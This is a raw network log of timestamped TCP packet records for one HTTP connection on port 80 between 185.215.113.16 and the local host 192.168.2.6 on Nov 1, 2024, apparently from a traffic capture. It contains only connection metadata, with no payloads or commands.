Nov 1, 2024 03:45:24.973927975 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.973953962 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.973965883 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.974069118 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.974081039 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.974092007 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.974107981 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.974165916 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.974165916 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.974200010 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.974211931 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.974282980 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.974292994 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.974303961 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.974337101 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.974396944 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.974409103 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.974419117 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.974433899 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.974455118 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.974545956 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.974558115 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.974575996 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.974663973 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.974675894 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.974687099 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.974694967 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.974699020 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.974711895 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.974746943 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.974746943 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.974883080 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.974942923 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.974953890 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.974965096 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.974975109 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.974986076 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.974997044 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.975004911 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.975008965 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.975022078 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.975079060 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.975121975 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.975306034 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.975327015 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.975337982 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.975348949 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.975361109 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.975373030 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.975383043 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.975394011 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.975400925 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.975400925 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.975400925 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.975438118 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.975537062 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.975593090 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.975631952 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.975645065 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.975775003 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.975786924 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.975796938 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.975826979 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.975826979 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.975852013 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.975863934 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.975874901 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.975886106 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.975897074 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.975908995 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.975950956 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.975954056 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.975954056 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.976308107 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.976320982 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.976331949 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.976346016 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.976357937 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.976372004 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.976385117 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.976394892 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.976406097 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.976407051 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.976407051 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.976418018 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.976429939 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.976442099 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.976447105 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.976464987 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.976608038 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.976743937 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.976757050 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.976773977 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.976785898 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.976797104 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.976829052 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.976876974 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.976876974 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.977065086 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.977077007 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.977087975 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.977098942 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.977113962 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.977130890 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.977142096 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.977149010 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.977153063 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.977168083 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.977179050 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.977190971 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.977197886 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.977202892 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.977216005 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.977226973 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.977237940 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.977247953 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.977247953 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.977247953 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.977335930 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.977710009 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.977721930 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.977732897 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.977802038 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.977802038 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.999799013 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.999835014 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.999847889 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.999969959 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.022336960 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.022363901 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.022375107 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.022444010 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.022444010 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.022449017 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.022461891 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.022473097 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.022532940 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.022578001 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.022587061 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.022597075 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.022609949 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.022672892 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.022672892 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.022690058 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.022778034 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.022789001 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.022840977 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.022883892 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.022914886 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.022927046 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.022969961 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.068350077 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.068373919 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.068387032 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.068478107 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.068478107 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.089267015 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.089293957 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.089306116 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.089406013 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.089417934 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.089427948 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.089440107 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.089457035 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.089457035 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.089536905 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.089555979 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.089575052 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.089593887 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.089653015 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.089663982 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.089674950 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.089689970 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.089700937 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.089761972 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.089816093 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.089828014 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.089862108 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.089941978 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.089951038 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.089962959 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.089973927 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.089987040 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.089997053 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.090008974 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.090034008 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.090034008 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.090142012 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.090228081 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.090239048 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.090250969 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.090300083 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.090331078 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.090342999 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.090353966 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.090447903 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.090447903 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.090478897 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.090491056 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.090501070 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.090512991 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.090523958 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.090533018 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.090544939 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.090545893 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.090575933 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.090615034 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.090780973 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.090815067 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.090826988 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.090836048 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.090905905 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.090956926 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.090965033 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.090976000 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.090986013 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.090996981 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.091170073 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.091181993 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.091186047 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.091193914 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.091207981 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.091217995 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.091224909 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.091229916 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.091248989 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.091248989 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.091463089 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.091475010 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.091485023 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.091496944 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.091507912 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.091517925 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.091530085 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.091547966 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.091595888 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.091595888 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.091778040 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.091792107 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.091804981 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.091816902 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.091828108 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.091839075 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.091864109 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.091865063 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.091960907 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.092044115 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.092056036 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.092066050 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.092077017 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.092094898 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.092111111 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.092113018 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.092125893 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.092135906 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.092140913 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.092148066 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.092148066 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.092242002 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.092565060 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.092576981 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.092587948 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.092602015 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.092614889 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.092621088 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.092627048 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.092638969 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.092648983 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.092662096 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.092670918 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.092670918 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.092674971 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.093024015 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.093033075 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.093035936 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.093048096 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.093059063 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.093065023 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.093070984 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.093081951 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.093092918 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.093099117 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.093099117 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.093105078 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.093116999 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.093131065 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.093156099 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.093156099 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.093346119 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.115189075 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.115237951 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.115248919 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.115371943 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.137593985 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.137619019 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.137630939 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.137667894 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.137681007 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.137701988 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.137706995 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.137778044 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.137787104 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.137830973 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.137841940 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.137883902 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.137897968 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.137913942 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.137943983 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.137979984 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.138226032 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.138246059 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.138257980 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.138341904 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.138341904 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.183784962 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.183860064 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.183876038 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.183957100 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.183996916 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.184173107 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.204552889 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.204582930 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.204597950 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.204654932 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.204670906 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.204677105 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.204685926 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.204715014 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.204718113 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.204731941 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.204771996 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.204797029 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.204823971 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.204871893 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.204886913 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.204956055 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.204968929 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.204977989 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.205018997 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.205034018 CET	80	49750	185.215.113.16	192.168.2.6
